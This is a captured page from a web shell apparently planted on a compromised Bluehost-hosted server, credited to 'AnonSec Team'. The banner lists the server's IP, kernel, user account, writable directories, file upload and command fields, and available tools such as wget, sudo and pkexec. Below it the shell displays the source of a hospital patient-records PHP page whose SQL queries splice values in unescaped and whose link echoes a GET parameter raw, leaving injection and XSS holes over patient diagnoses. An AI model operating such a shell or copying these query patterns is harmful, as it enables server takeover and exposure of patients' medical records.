Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.149.213.44
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//patient_recods.php
<?php
include('menu.php');
include('header.php');
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>In House Patient</title>
 
  <body>
      
           	<h3><i class="fa fa-angle-right"></i> OPD </h3>
          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  </head>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
    <div id="container">
        <table border="1" class="order-table">
      <tbody>
                      <tr>
          <th><div align="center">Admission Details</div></th>
               <th><div align="center">Status </div></th>
                <th><div align="center">Details </div></th>
               </tr>
        </tbody>
       <?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    	$sql9 ="SELECT * FROM request_for_admission WHERE  Admitted_Under='$re[userno]'";
		$qsql9 = mysqli_query($con,$sql9);
		while($rsr9 = mysqli_fetch_array($qsql9))
		{
		     $sql6 ="SELECT * FROM discharge WHERE hospital_id='$re[entered_by]' ";
		$qsql6 = mysqli_query($con,$sql6);
		while($rs1 = mysqli_fetch_array($qsql6))
		{
		     $sql3 ="SELECT * FROM Admission_ipd WHERE prescriptionid='$rsr9[prescriptionid]'";
		$qsql3 = mysqli_query($con,$sql3);
		while($ra = mysqli_fetch_array($qsql3))
		{
	    $sql5 ="SELECT * FROM patient WHERE patientid='$ra[patientid]'";
		$qsql5 = mysqli_query($con,$sql5);
		while($rp = mysqli_fetch_array($qsql5))
		{
        echo " <tbody>
            <tr>
               
                 <td><b>Sr. no</b> $rsr9[id]<br><b>Date & Time</b> $rs9[created_at]<br><b>UHID</b> $rp[patientid]<br><b>Patient Name</b> $rp[patientname]<br><b>Diagnosis</b>$ra[Admission_diagnosis]</td>
                      <td>$rs1[status]</td>
                       
                                       
                            	<td><a href='treatment_timline.php?prescriptionid=$rsr9[prescriptionid]&patientid=$rsr9[patientid]'>View</td>
          </tr>                   
          
          ";
}
}
}}
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
        
      </div>
<?php
if(isset($_SESSION[doctorid]))
{
?>  
<hr>
	<table>
		<tr>
			<td>
			<div align="center"><strong><a href="prescription.php?patientid=<?php echo $_GET[patientid]; ?>&appid=<?php echo $rsappointment[appointmentid]; ?>">Add Prescription records</a></strong></div>
			</td>
		</tr>
	</table>
	<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<?php
}
?>

Anon7 - 2022
AnonSec Team